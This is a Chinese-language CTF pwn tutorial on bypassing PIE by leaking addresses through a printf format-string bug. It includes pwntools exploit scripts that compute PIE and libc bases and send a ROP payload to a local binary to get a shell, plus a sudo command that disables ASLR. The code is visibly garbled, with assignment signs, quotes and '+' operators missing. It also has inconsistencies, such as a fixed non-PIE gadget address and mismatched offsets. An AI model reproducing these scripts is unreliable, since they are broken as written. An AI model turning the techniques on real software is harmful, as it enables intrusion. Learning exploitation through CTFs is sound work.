CTF Pwn新手必看:手把手教你用格式化字符串漏洞绕过PIE保护(附Python脚本)
CTF Pwn实战利用格式化字符串漏洞突破PIE防护的完整指南在CTF Pwn领域PIEPosition Independent Executable保护机制常常让初学者感到棘手。这种地址随机化技术使得每次程序运行时代码段和数据段的加载地址都会发生变化传统ROP攻击中依赖固定地址的技巧顿时失效。本文将从一个真实比赛场景出发手把手演示如何通过格式化字符串漏洞获取关键地址最终绕过PIE保护拿到shell权限。1. 环境准备与漏洞分析首先我们需要准备实验环境。假设目标程序名为vuln使用以下命令检查保护机制checksec --file./vuln典型输出可能显示Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled关键工具准备清单pwntoolsPython漏洞利用框架GDB with pwndbg调试工具IDA Pro/Ghidra反汇编工具目标程序vuln和对应的libc库通过IDA分析程序我们发现存在以下关键代码片段void vulnerable_func() { char buf[32]; printf(Enter your name: ); gets(buf); // 明显的栈溢出漏洞 printf(buf); // 格式化字符串漏洞 }这个函数同时存在栈溢出和格式化字符串漏洞但开启PIE后我们无法直接利用栈溢出因为无法确定后门函数地址。此时格式化字符串漏洞就成为突破口。2. 格式化字符串漏洞利用基础格式化字符串漏洞的核心在于控制printf等函数的格式参数。考虑以下测试代码from pwn import * p process(./vuln) p.sendline(%p.*10) print(p.recvline())运行后可能得到类似输出0x7ffd12345678.0x55a1b2c3d4e0.(nil).0x1.0x7f.0x55a1b2c3d4e0.0x55a1b2c3d510.0x7ffd12345678.0x100.0x55a1b2c3d4e0.关键观察点输出中的0x55或0x56开头的地址通常是PIE基址相关的指针通过反复测试可以定位到存储返回地址的栈位置每个%p对应一个指针输出通过调整数量可以遍历栈空间实际操作中我们常用%n$x格式直接读取指定位置的参数其中n是参数位置。例如%6$p会打印第6个参数。3. 泄露PIE基址的实战步骤假设通过测试我们发现第7个参数(%7$p)返回了一个0x55...开头的地址经IDA确认这是main函数0x45的地址。那么计算PIE基址的公式为pie_base leaked_address - (main_offset 0x45)具体实现代码如下from pwn import * context(oslinux, archamd64, log_leveldebug) elf context.binary ELF(./vuln) p process() p.sendline(%7$p) # 尝试泄露第7个参数 leaked int(p.recvline(), 16) pie_base leaked - 0x1245 # 0x1245是IDA中看到的main函数偏移 log.success(fPIE base: {hex(pie_base)}) # 计算后门函数地址 backdoor pie_base 0x1314调试技巧使用gdb.attach(p)在关键点暂停程序cyclic 100生成测试模式定位溢出点search -t qword 0x55在gdb中搜索PIE相关地址4. 组合利用与权限获取获取PIE基址后我们可以定位所有函数和gadget的运行时地址。完整的利用流程如下通过格式化字符串泄露PIE基址计算后门函数/system地址构造ROP链或直接覆盖返回地址触发漏洞获取shell完整exp示例from pwn import * context(oslinux, archamd64) elf context.binary ELF(./vuln) def leak_pie(): p process() p.sendline(%7$p) leaked int(p.recvline(), 16) return leaked - 0x1245 pie_base leak_pie() system pie_base elf.sym[system] binsh pie_base next(elf.search(b/bin/sh)) payload flat( bA*40, # 填充缓冲区 p64(0xdeadbeef), # 覆盖RBP p64(0x4011d3), # pop rdi; ret gadget p64(binsh), p64(system) ) p process() p.sendline(payload) p.interactive()常见问题排查如果泄露的地址不符合预期尝试调整参数位置确保所有偏移计算正确IDA中的地址是文件偏移检查栈对齐要求必要时添加ret gadget调整5. 进阶技巧与防护绕过现代CTF题目往往结合多种防护机制这里分享几个实用技巧多阶段泄露 当单一泄露不足时可以分多次获取不同信息# 第一次泄露PIE基址 p.sendline(%7$p) pie_base int(p.recvline(), 16) - 0x1245 # 第二次泄露libc地址 p.sendline(%9$p) libc.address int(p.recvline(), 16) - 0x270b3部分覆写技术 PIE地址通常以0x55或0x56开头可以利用这个特性减少爆破次数# 只覆写地址的低2字节 payload bA*40 p16(0x1d3)对抗ASLR 通过多次运行统计地址分布规律寻找稳定的信息泄露点。在本地测试时可以固定ASLRecho 0 | sudo tee /proc/sys/kernel/randomize_va_space实际比赛中这类漏洞利用往往需要结合具体题目特点进行调整。掌握基本原理后建议多尝试不同CTF平台的Pwn题目积累经验。